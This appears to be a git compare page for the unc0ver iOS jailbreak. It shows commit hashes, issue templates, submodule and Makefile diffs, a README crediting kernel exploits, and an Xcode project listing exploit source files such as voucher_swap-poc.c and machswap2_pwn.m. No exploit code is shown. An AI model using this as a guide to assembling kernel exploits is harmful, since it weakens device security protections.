Compare commits
524 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0010f2ed91 | |||
| bb9471a505 | |||
| 75be49f6e1 | |||
| b9dcf0ae1b | |||
| 2a6e61ff42 | |||
| b934594eb3 | |||
| eb8ab29156 | |||
| 447d5c82a3 | |||
| 351435fc48 | |||
| 0e9b7606ed | |||
| e252e46abd | |||
| 23bd360096 | |||
| 6eb7fa1fc9 | |||
| 898880a4b8 | |||
| 0de27ce6c6 | |||
| de525ccb15 | |||
| ebb3603966 | |||
| 879d759c18 | |||
| 3880c54b86 | |||
| 5a031133d7 | |||
| 7a7060e50b | |||
| b56e561bc5 | |||
| a8de4bfebb | |||
| 094e4e675e | |||
| b4c22e83f0 | |||
| 11a9bbd450 | |||
| 2cd862a60d | |||
| 4b8f0ff2f9 | |||
| 64f03bbb19 | |||
| 28c5ea10f9 | |||
| d2307771bc | |||
| 0ec92b630f | |||
| 59115cbf28 | |||
| 4432c73067 | |||
| fcbe1162c9 | |||
| dd9c4ff259 | |||
| f1afadce98 | |||
| db451489c2 | |||
| ba17d0ebee | |||
| ab8e284389 | |||
| a12fde751b | |||
| 923e7d6214 | |||
| fbc389b8f1 | |||
| 37e3fd4552 | |||
| f18b9ff148 | |||
| 28115cde4e | |||
| 12f44c2fdb | |||
| 1ec3bd87ae | |||
| 1dceb753f6 | |||
| f9b60c5900 | |||
| 8e2f16b400 | |||
| 08d38f2ed6 | |||
| 141067ce57 | |||
| 802fb2fe2d | |||
| 86f0396d15 | |||
| 8e6e7f3f63 | |||
| a51b7114ce | |||
| 37ae0c2df7 | |||
| a3aa6ece6e | |||
| d89a69d1fa | |||
| a2cf773dc4 | |||
| e9e93013c7 | |||
| 41c06b3c7a | |||
| 6baa7ea5d6 | |||
| 12454309c9 | |||
| ceb20eaed7 | |||
| 9bd2c3eabe | |||
| 130aa3e2aa | |||
| 8e4e01f059 | |||
| ffe78a1f35 | |||
| ec373e3309 | |||
| 9dfbbb1f53 | |||
| d9068b17ed | |||
| 15813a52b3 | |||
| 5e645735db | |||
| ef9c4765fb | |||
| f54fcc294c | |||
| c2d13fc5d3 | |||
| bcc2e1f656 | |||
| 306debb8d0 | |||
| 1019336356 | |||
| 1a7af4abcb | |||
| ff0d38fd99 | |||
| ad2bb4f7e3 | |||
| c5947e97b3 | |||
| 4f84e06c0d | |||
| 9f72184814 | |||
| e6858c0d98 | |||
| 0b5c15e7ae | |||
| 076b41371f | |||
| 3c97cb96bc | |||
| 99a2e21f39 | |||
| 2ce2b6ea8a | |||
| 763764f792 | |||
| aa05ce084b | |||
| 9f3872fb9e | |||
| f58060dcd0 | |||
| 87edbc340c | |||
| 2b15805010 | |||
| 3037b2cf58 | |||
| 75e7173281 | |||
| 557769c4e7 | |||
| 5be78f44b7 | |||
| a9d7a94be3 | |||
| 8d016a5a53 | |||
| 2e19f38f57 | |||
| 11d6fd6cfd | |||
| 5d61e33948 | |||
| fb36bd7d19 | |||
| cfe47fb1c8 | |||
| 675a796159 | |||
| a0368ec29e | |||
| 4d8c896bc1 | |||
| f958371934 | |||
| 742286c876 | |||
| 88057cf35b | |||
| 3a59f5e498 | |||
| 3fc2729cdb | |||
| 32b0426fc2 | |||
| abd6513b30 | |||
| 1071649456 | |||
| 1898127ad0 | |||
| a5bea58783 | |||
| 61a1151b52 | |||
| fc99bbf634 | |||
| 182a79fe00 | |||
| aa78bde6b0 | |||
| 290cba7cec | |||
| 1bfc159b6d | |||
| 73d51934c1 | |||
| 468b350a45 | |||
| b3382d9bd2 | |||
| 2cd132e8fc | |||
| c1d1b08738 | |||
| ad8e813d8c | |||
| 0f424d1f16 | |||
| 874aa584d5 | |||
| f030879d3e | |||
| 8e08d98383 | |||
| 954700b0d8 | |||
| 754e4b6a87 | |||
| 4fd3bdae6b | |||
| 95a9691f9e | |||
| f60232bf92 | |||
| 448f599747 | |||
| 728119d458 | |||
| c28ec1dd55 | |||
| 917c075a42 | |||
| 71da0c1ea3 | |||
| 4f6b475a15 | |||
| cddee9bcf4 | |||
| 628238902c | |||
| 0672bfb0b2 | |||
| d9d5d739ba | |||
| e7142a1681 | |||
| 1295b7bcc2 | |||
| 53f28bca26 | |||
| dde18983ed | |||
| df914b90c3 | |||
| 7204cfb6d4 | |||
| f4f5e6683d | |||
| 4d944aacde | |||
| 3e52f2d5ea | |||
| 0e344b3186 | |||
| e8ddc77eb8 | |||
| 3cd366b5f4 | |||
| d904dc3ad3 | |||
| e7d1fdccf2 | |||
| ae5a69b70b | |||
| abeefafbcb | |||
| 4852dd583d | |||
| 900612f5a7 | |||
| 18218f551d | |||
| 7b0cf09037 | |||
| 1fed329243 | |||
| cbc1008803 | |||
| 5bca6416f3 | |||
| 3273b6d138 | |||
| 02cd20812f | |||
| e60a907fb9 | |||
| 66c811a63a | |||
| 4b5a39903c | |||
| 2d46864538 | |||
| 0aff911168 | |||
| 545c0d8100 | |||
| 5896eb1f1e | |||
| 2bd81903e7 | |||
| 349dac7da0 | |||
| ca8b650bd5 | |||
| f88e2a97cb | |||
| 68ed2d0641 | |||
| 6e771c2791 | |||
| 37c1e5389f | |||
| a635425b5b | |||
| 9a16f60df6 | |||
| cec6c0f398 | |||
| f2e145dcf5 | |||
| d8df74356d | |||
| bd5c6f8cff | |||
| 78f1e754ec | |||
| 68d0c89502 | |||
| ede4e07782 | |||
| 2c49552601 | |||
| 4a5311f85a | |||
| 33b1badfb1 | |||
| 705addf650 | |||
| 0e8b45ea6a | |||
| e052df0f3d | |||
| e931b5a53c | |||
| 7709e604b3 | |||
| 166efa7cff | |||
| d8d5c43e06 | |||
| 87c2909e9a | |||
| 17cc89f0fc | |||
| 4403d62e28 | |||
| d2ec99798c | |||
| 65ed1aed40 | |||
| b59a0e9288 | |||
| baf888a814 | |||
| 176ddc2c50 | |||
| 936b522179 | |||
| 7cd8b68daa | |||
| fbfcb5aa13 | |||
| ae4b2ef4ac | |||
| d837ddabc9 | |||
| 0a8241f25c | |||
| 60ea1652eb | |||
| 24c45fd4ce | |||
| 2f9b9b2a9c | |||
| e434d4ad16 | |||
| c2a1b11d41 | |||
| cbf40aa171 | |||
| a9bad3a9f8 | |||
| 0958a3d0bb | |||
| fdbd43c13a | |||
| c74e61753f | |||
| e602c0d55f | |||
| 49c3fe5a7e | |||
| 292fb06897 | |||
| 6695f099f6 | |||
| c8cd4df96c | |||
| b072ade73b | |||
| 4fef3239d2 | |||
| 72be6c66e9 | |||
| 7aca4d4a5e | |||
| c065a55e03 | |||
| c079fb93c9 | |||
| 41bc963f85 | |||
| 3cb2089d25 | |||
| 4843b5d7a3 | |||
| 777248aa73 | |||
| 8190773b04 | |||
| 034b072559 | |||
| af02f037c3 | |||
| 2d14f5b9bd | |||
| a2b1d0e5c5 | |||
| 191ad4d15d | |||
| af582c74c3 | |||
| d0e47bc517 | |||
| dcba04c37c | |||
| afe13af759 | |||
| 2f2ba92c53 | |||
| 98cf8e4d6e | |||
| 52e7c56468 | |||
| 84d7b8fd59 | |||
| 111d812d9e | |||
| 82285e21b5 | |||
| da43c0e847 | |||
| 6b2848ce34 | |||
| 10ec346cd7 | |||
| 50f888fc14 | |||
| 53c17da489 | |||
| 5f3ae402c1 | |||
| ebea9f9314 | |||
| aef018f05d | |||
| db3e706012 | |||
| 39c1fbfeb5 | |||
| d40946f5e5 | |||
| 9f61c37ecd | |||
| 05c99a6a7b | |||
| 397cc1a7a2 | |||
| 517e51fbd7 | |||
| 61010817eb | |||
| 4962d3c35d | |||
| 1b18df71bf | |||
| 8374333f95 | |||
| 75edb6bce3 | |||
| d2ce06948f | |||
| eefa4d7855 | |||
| 998adeea54 | |||
| 3650c38226 | |||
| ffd5b41035 | |||
| 314a2050c1 | |||
| 841fa649d7 | |||
| c3340244c8 | |||
| 79ae88a24c | |||
| 0b5b0094c0 | |||
| 0a2516644e | |||
| 81672d87d8 | |||
| c6f8849045 | |||
| f0279789c1 | |||
| 598824d007 | |||
| 53cea01a44 | |||
| 9730667495 | |||
| e1af60e803 | |||
| 2a0e8c998c | |||
| b302a159fe | |||
| 801c4a2614 | |||
| 4705dfef7b | |||
| 308d436bf5 | |||
| e91de7e447 | |||
| 2e20485d62 | |||
| 5f3b65a99b | |||
| 7725040b8f | |||
| 7e67f5c7c6 | |||
| 88280a595e | |||
| 168a0588a4 | |||
| 1b96e7049e | |||
| f916257313 | |||
| c499defaec | |||
| c862275a9d | |||
| 345a41c171 | |||
| 22b45306af | |||
| 956b7bab3f | |||
| 85d0d0a74f | |||
| 45f166cb75 | |||
| 2fee69b049 | |||
| 53c99f805a | |||
| 8b83d36b24 | |||
| ddf5d11161 | |||
| 8c5a51741b | |||
| 7ef41cbbd5 | |||
| 1dd65bc081 | |||
| 281ad3826f | |||
| 8df9b81892 | |||
| 3ed31f782d | |||
| 9a18810462 | |||
| 28d46bff5c | |||
| 9d345ba411 | |||
| 2f71b78064 | |||
| 88baac94b6 | |||
| 1fccb51203 | |||
| 181e4b85eb | |||
| 39fee92b9b | |||
| 3bff8efeb2 | |||
| f1ba79f02d | |||
| 390f2669b2 | |||
| 11f8de80ed | |||
| aeeb980f53 | |||
| f9b98a944b | |||
| f5f28ce224 | |||
| e34e85c047 | |||
| 39240ff701 | |||
| 97e1ea1d9a | |||
| 4e46212fe6 | |||
| 47dd2bc5bf | |||
| 984f962692 | |||
| cce6ce62e6 | |||
| 8ddc8e6488 | |||
| ceff9b7a28 | |||
| 2672c317f1 | |||
| 542bcc7e22 | |||
| 9401a6e1f3 | |||
| d19ad5e52b | |||
| cf6bbc9953 | |||
| 7b2687e599 | |||
| 4fad5ee662 | |||
| cd24c5b0a6 | |||
| bf92a2fb21 | |||
| b3a8bf2bd5 | |||
| a4b3a5efb9 | |||
| 8398b18308 | |||
| 50cee914f0 | |||
| 81011a45a2 | |||
| 2746b91021 | |||
| fe74512a18 | |||
| de8c57081e | |||
| 8fc442816c | |||
| eb109f6a1b | |||
| 61f19fd9a6 | |||
| 9ad43631b9 | |||
| ee593536f7 | |||
| 1ca282e5d9 | |||
| d2b10730cb | |||
| 794308cc7d | |||
| 05dd5d8d3a | |||
| 4f60d12c24 | |||
| 9171ffd1a4 | |||
| 60559e0346 | |||
| 689db8e3d2 | |||
| a067a1055b | |||
| 3ad9965818 | |||
| 47c2fa2c24 | |||
| 535d9e3a06 | |||
| 8a224722d8 | |||
| 488573d688 | |||
| c80a96aa4b | |||
| e786137444 | |||
| 0aa99b8db7 | |||
| 0701fb85b0 | |||
| d88f35d401 | |||
| 9dc9a809e3 | |||
| 4c2ee5b7df | |||
| d27d947301 | |||
| 764e22dd26 | |||
| abe6ae663d | |||
| f7982eeb41 | |||
| 31444ef8c9 | |||
| 5820f7cacf | |||
| 13823b76aa | |||
| 6bbc2c5af7 | |||
| fc2341ac19 | |||
| e3c1a6d1e5 | |||
| 1d0f033c22 | |||
| d0873aa090 | |||
| 4f5d9e9872 | |||
| 183678512a | |||
| 197c905394 | |||
| 484bdf9e8c | |||
| 922fead5a7 | |||
| d2b6184f08 | |||
| 72ebd27ba4 | |||
| 7b8acbf0e8 | |||
| 3746fcc514 | |||
| cbf0bd9935 | |||
| ca39a9f0c1 | |||
| 0740f67801 | |||
| 5a2d05622c | |||
| d537253acc | |||
| a40c1ff195 | |||
| e31145259c | |||
| bee380c655 | |||
| 80c8c593a2 | |||
| 08c95b09af | |||
| f0c0d5dd88 | |||
| c758669cc2 | |||
| 784019f797 | |||
| b36316cbe6 | |||
| 3e84c16ef2 | |||
| 0166f7aa7d | |||
| 982c61d73a | |||
| e75812f279 | |||
| d1057b7e86 | |||
| 77b1634752 | |||
| 79f3f6f667 | |||
| bbfbb92938 | |||
| 3b8c0461b1 | |||
| 4fd80e90bf | |||
| f6a8d3458c | |||
| b4dc0a4c71 | |||
| 8eecab1637 | |||
| 8f422ddba0 | |||
| 22ab11616c | |||
| 8bf82cf22b | |||
| a1fa77b5e9 | |||
| 0ad284f3fb | |||
| 6070bd6d34 | |||
| 4191f2b9e2 | |||
| 013ce8b603 | |||
| 4c6e8c7c7f | |||
| 3c372ae286 | |||
| b9a8dc4f46 | |||
| 2ad914752f | |||
| d69cdcde55 | |||
| c96f9291ac | |||
| fbec10b952 | |||
| b5efeb1db2 | |||
| 24926cf364 | |||
| 9d80f9cac3 | |||
| a0b7992c53 | |||
| ea29b498d0 | |||
| cf84b57c2f | |||
| 5d7b541367 | |||
| f55da68544 | |||
| 947fc31dcf | |||
| 84909809df | |||
| 015cb0a6e6 | |||
| e2ba23fec4 | |||
| 5f50f93b0f | |||
| cf09ed36c2 | |||
| 9a318429bc | |||
| 0f8259164b | |||
| bcbaaae7d3 | |||
| 00cbee052e | |||
| 406593e1c9 | |||
| bc04fc212b | |||
| 09f08af32d | |||
| c7f49ca3af | |||
| cbe6ed6d47 | |||
| 9dced90f53 | |||
| d6728c3ba5 | |||
| ac94fc9b93 | |||
| 50659461a4 | |||
| 63ee990e3f | |||
| 15bcf52f4c | |||
| 3352a202d2 | |||
| 51372980aa | |||
| 1696d5df74 | |||
| 2bb32ffeea | |||
| bed0eab590 | |||
| 07c1cdcf5c | |||
| 9fdd4fc645 | |||
| 9c99301197 | |||
| ce0f82cac8 | |||
| b4048ea326 | |||
| bb00c5ecf8 | |||
| 1c63b190e7 | |||
| 575597e074 | |||
| 183812ff04 | |||
| b81475d116 | |||
| aa7b88a16f | |||
| 81a1180453 | |||
| c73587ab1c | |||
| b4fffe5e83 | |||
| ed202f2b9b | |||
| 9d855e4008 | |||
| 1ed21b70cc | |||
| 1574b5c03b | |||
| ff19f80b0e | |||
| 73d0b85d81 | |||
| 42e3b569cb | |||
| 6f3b5f6bf9 | |||
| ae841f4019 | |||
| f4df8be6cb |
@@ -0,0 +1,35 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is and what you expected to happen.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Device (please complete the following information):**
|
||||
- iOS Version:
|
||||
- iOS Device:
|
||||
- unc0ver Version:
|
||||
|
||||
**Place an "x" between the brackets if true:**
|
||||
- [ ] this is a bug others will be able to reproduce
|
||||
- [ ] this issue is present with all tweaks uninstalled(except for default packages) or disabled
|
||||
- [ ] this issue is present after a rootfs restore
|
||||
- [ ] this issue is present on the latest version of unc0ver
|
||||
|
||||
**Logs**
|
||||
If applicable, add logs or error messages here.
|
||||
@@ -0,0 +1,17 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: ''
|
||||
labels: enhancement
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the feature you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
@@ -1,3 +1,15 @@
|
||||
[submodule "theos"]
|
||||
path = theos
|
||||
url = https://github.com/theos/theos.git
|
||||
[submodule "Injector"]
|
||||
path = Injector
|
||||
url = https://github.com/pwn20wndstuff/Injector.git
|
||||
[submodule "snappy"]
|
||||
path = snappy
|
||||
url = https://github.com/sbingner/snappy.git
|
||||
[submodule "patchfinder64"]
|
||||
path = patchfinder64
|
||||
url = https://github.com/pwn20wndstuff/patchfinder64.git
|
||||
[submodule "offset-cache"]
|
||||
path = offset-cache
|
||||
url = https://github.com/sbingner/offset-cache.git
|
||||
[submodule "kerneldec"]
|
||||
path = kerneldec
|
||||
url = https://github.com/sbingner/kerneldec.git
|
||||
|
||||
@@ -2,8 +2,8 @@ TARGET = Undecimus
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
all:
|
||||
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO -sdk iphoneos -configuration Debug
|
||||
all: clean
|
||||
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO PRODUCT_BUNDLE_IDENTIFIER="science.xnu.undecimus" -sdk iphoneos -configuration Debug
|
||||
ln -sf build/Debug-iphoneos Payload
|
||||
# strip Payload/$(TARGET).app/$(TARGET)
|
||||
ldid -SUndecimus/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
# unc0ver
|
||||
### The most advanced jailbreak tool
|
||||

|
||||
|
||||
unc0ver jailbreak for iOS 11.0 - 12.1.2<br/>
|
||||
by [@pwn20wnd](https://twitter.com/Pwn20wnd) & [@sbingner](https://twitter.com/sbingner)<br/>
|
||||
UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](https://reddit.com/u/Samg_is_a_Ninja)<br/>
|
||||
|
||||
## The most outstanding changes over the other jailbreaks
|
||||
* One app to jailbreak all firmwares
|
||||
* Full-fledged Cydia and Substrate support for ARM64 devices
|
||||
* Full-fledged Telesphoreo port for ARM64 (Elucubratus)
|
||||
* No private data shared for diagnostics purposes
|
||||
* SSH-Only (Dropbear) support
|
||||
* Options for the user
|
||||
* Utilities for the user
|
||||
* No inefficient local jailbreak server (jailbreakd daemon)
|
||||
* Native Cydia support with support for the iPhone X screen size
|
||||
* Ability to rejailbreak from the jailbroken state
|
||||
* Stable kernelspace patches to avoid random crashes caused by kernel data aborts
|
||||
* Stable userspace patches to avoid random freezes and crashes caused by watchdog timer timeouts
|
||||
* Local APT repo system integrated in the jailbreak to verify the integrity of the core packages and repair them if they are corrupted
|
||||
* Extended and improved assertion to prevent unexpected results such as bootloops caused by filesystem corruption
|
||||
* Better system security, battery life and performance
|
||||
* Significantly faster Cydia
|
||||
* Modifications to Cydia were approved by the creator of Cydia (Saurik)
|
||||
* Fully working debugserver
|
||||
* No DRM
|
||||
* No installation restrictions
|
||||
* Open source
|
||||
|
||||
## Switching from the other jailbreaks
|
||||
* Dedicated migration support will be used to switch without losing data
|
||||
|
||||
## Getting support
|
||||
* Use the built-in diagnostics tool
|
||||
* Tweet [@pwn20wnd](https://twitter.com/Pwn20wnd)
|
||||
|
||||
## Best practices
|
||||
* Turn on the AirPlane Mode before starting the jailbreak
|
||||
* Turn off Siri before starting the jailbreak
|
||||
|
||||
## Source code
|
||||
* This project is completely open source and it will be kept like it in the future
|
||||
* Any kind of contribution is welcome
|
||||
* The source code can be found on [pwn20wndstuff](https://github.com/pwn20wndstuff)'s GitHub account
|
||||
|
||||
## Video tutorial
|
||||
* <a href="https://youtu.be/TqHYjLHO0zs">https://youtu.be/TqHYjLHO0zs</a>
|
||||
|
||||
## Screenshots
|
||||
<img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-1.PNG" width="281.25" height="609" /> <img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-2.PNG" width="281.25" height="609" /> <img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-3.PNG" width="281.25" height="609" />
|
||||
|
||||
## Changelog
|
||||
* Releases are available at https://github.com/pwn20wndstuff/Undecimus/releases (Note: rc1-v1.1.4 releases are no longer available)
|
||||
|
||||
## Special Thanks
|
||||
* [@i41nbeer](https://twitter.com/i41nbeer) for mach_portal, triple_fetch, async_wake, empty_list, multi_path and deja_xnu
|
||||
* [@bazad](https://twitter.com/bazad) for voucher_swap and PAC bypass
|
||||
* [@Morpheus______](https://twitter.com/Morpheus______) for the QiLin Toolkit (No longer used)
|
||||
* [@xerub](https://twitter.com/xerub) for libjb and the original patchfinder64
|
||||
* [@iBSparkes](https://twitter.com/iBSparkes) for the original amfid_payload (No longer used), jailbreakd (No longer used), pspawn_hook (No longer used), machswap and machswap2
|
||||
* [@stek29](https://twitter.com/stek29) for the patchfinder64 additions, unlocknvram, host_get_special_port(4) patch and shenanigans bypass
|
||||
* [@theninjaprawn](https://twitter.com/theninjaprawn) for the patchfinder64 additions
|
||||
* [@saurik](https://twitter.com/saurik) for Cydia and Substrate
|
||||
* [@FCE365](https://twitter.com/FCE365) for the empty_list reliability improvements
|
||||
* [@tihmstar](https://twitter.com/tihmstar) for libgrabkernel (No longer used), liboffsetfinder64 (No longer used), v1ntex (No longer used) and v3ntex (No longer used)
|
||||
* Credits for [Undecimus-Resources](https://github.com/pwn20wndstuff/Undecimus-Resources)
|
||||
* [@coolstarorg](https://twitter.com/coolstarorg) for originally testing the snapshot rename idea on corellium
|
||||
* [@Cryptiiiic](https://twitter.com/Cryptiiiic) for testing
|
||||
* [@xanDesign_](https://twitter.com/xanDesign_) for testing
|
||||
* [@AppleDry05](https://twitter.com/AppleDry05) for testing
|
||||
* [@AyyItzRob](https://twitter.com/AyyItzRob) for testing
|
||||
* [@MidnightChip](https://twitter.com/MidnightChip) for testing
|
||||
* [@Swag_iOS](https://twitter.com/Swag_iOS) for testing
|
||||
* [@jailbreakbuster](https://twitter.com/jailbreakbuster) for testing
|
||||
* [@Jakeashacks](https://twitter.com/Jakeashacks) for testing
|
||||
|
After Width: | Height: | Size: 3.7 MiB |
|
After Width: | Height: | Size: 3.5 MiB |
|
After Width: | Height: | Size: 3.8 MiB |
@@ -0,0 +1 @@
|
||||
Releases have been moved to https://github.com/pwn20wndstuff/Undecimus/releases
|
||||
@@ -7,47 +7,73 @@
|
||||
objects = {
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
2116449A21737F9500250744 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* ViewController.m */; };
|
||||
211D0D85218DEF3E008745D8 /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */; };
|
||||
212D8841216B9FB400A36DA5 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCA2148103B00DC0023 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */ = {isa = PBXBuildFile; fileRef = 2101395321A09BB700F9C5F2 /* hideventsystem.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* JailbreakViewController.m */; };
|
||||
212D8844216E4C4800A36DA5 /* find_port.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8842216E4C4700A36DA5 /* find_port.c */; };
|
||||
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8846216E4DF600A36DA5 /* early_kalloc.c */; };
|
||||
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8849216E4EBE00A36DA5 /* async_wake.c */; };
|
||||
2139534C21763A0C00B17F8D /* rsync.tar in Resources */ = {isa = PBXBuildFile; fileRef = 2139534B21763A0B00B17F8D /* rsync.tar */; };
|
||||
21675B63214A68B700D20E2B /* qilin.o in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC8C2136A0D100849420 /* qilin.o */; };
|
||||
21675B6D214A692400D20E2B /* libjb.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 21A97FCF2148103C00DC0023 /* libjb.a */; };
|
||||
219A7C862169439C00A5DD60 /* spawn.tar in Resources */ = {isa = PBXBuildFile; fileRef = 219A7C852169439B00A5DD60 /* spawn.tar */; };
|
||||
213E78262208654700FDF3B7 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 213E78252208654700FDF3B7 /* necp.c */; settings = {COMPILER_FLAGS = "-Wno-deprecated-declarations"; }; };
|
||||
213E7828220865A100FDF3B7 /* voucher_swap-poc.c in Sources */ = {isa = PBXBuildFile; fileRef = 213E7827220865A100FDF3B7 /* voucher_swap-poc.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
214A1776224EBE5400588EC4 /* lzssdec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 214A1773224EBE5400588EC4 /* lzssdec.cpp */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
214A1777224EBE5400588EC4 /* kerneldec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 214A1774224EBE5400588EC4 /* kerneldec.cpp */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
2150A9CD22021330001C8677 /* voucher_swap.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CC22021330001C8677 /* voucher_swap.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
2150A9DC22021348001C8677 /* log.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CE22021347001C8677 /* log.c */; };
|
||||
2150A9DD22021348001C8677 /* platform_match.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CF22021347001C8677 /* platform_match.c */; };
|
||||
2150A9DE22021348001C8677 /* platform.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D422021347001C8677 /* platform.c */; };
|
||||
2150A9DF22021348001C8677 /* kernel_slide.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D622021348001C8677 /* kernel_slide.c */; };
|
||||
2150A9E022021348001C8677 /* parameters.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D922021348001C8677 /* parameters.c */; };
|
||||
2150A9E122021348001C8677 /* kernel_alloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9DA22021348001C8677 /* kernel_alloc.c */; };
|
||||
2150A9E222021348001C8677 /* kernel_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9DB22021348001C8677 /* kernel_memory.c */; };
|
||||
216F3F3D2228776E007DC1BC /* kernel_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F362228776D007DC1BC /* kernel_call.c */; };
|
||||
216F3F3E2228776E007DC1BC /* user_client.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F372228776D007DC1BC /* user_client.c */; };
|
||||
216F3F3F2228776E007DC1BC /* pac.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F3A2228776D007DC1BC /* pac.c */; };
|
||||
216F3F402228776E007DC1BC /* kc_parameters.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F3C2228776E007DC1BC /* kc_parameters.c */; };
|
||||
216FDA1E220C5F5C0086D802 /* libz.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 216FDA1D220C5F5C0086D802 /* libz.tbd */; };
|
||||
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */; };
|
||||
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC902136A46500849420 /* SpringBoardServices.framework */; };
|
||||
2171C4012222E3BB004E45C7 /* SystemConfiguration.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */; };
|
||||
2199B8E9226B40C600A8255D /* kalloc_crash.c in Sources */ = {isa = PBXBuildFile; fileRef = 2199B8E8226B40C600A8255D /* kalloc_crash.c */; };
|
||||
219C90A0228703DA00AFA38A /* jailbreak.m in Sources */ = {isa = PBXBuildFile; fileRef = 219C909F228703DA00AFA38A /* jailbreak.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
|
||||
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC62148103B00DC0023 /* remote_memory.c */; };
|
||||
21A97FD12148103C00DC0023 /* kexecute.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* kexecute.m */; };
|
||||
21A97FD32148103C00DC0023 /* kutils.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* kutils.c */; };
|
||||
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* KernelExecution.m */; };
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* KernelUtilities.c */; settings = {COMPILER_FLAGS = "-Wno-deprecated-declarations"; }; };
|
||||
21A97FD42148103C00DC0023 /* remote_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCD2148103B00DC0023 /* remote_call.c */; };
|
||||
21B421902261302F004C17CD /* MobileCoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21B4218F2261302F004C17CD /* MobileCoreServices.framework */; };
|
||||
21BB9804222F05C40012AF40 /* machswap2_pwn.m in Sources */ = {isa = PBXBuildFile; fileRef = 21BB9802222F05C40012AF40 /* machswap2_pwn.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6B21369EB700849420 /* AppDelegate.m */; };
|
||||
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7321369EB800849420 /* Assets.xcassets */; };
|
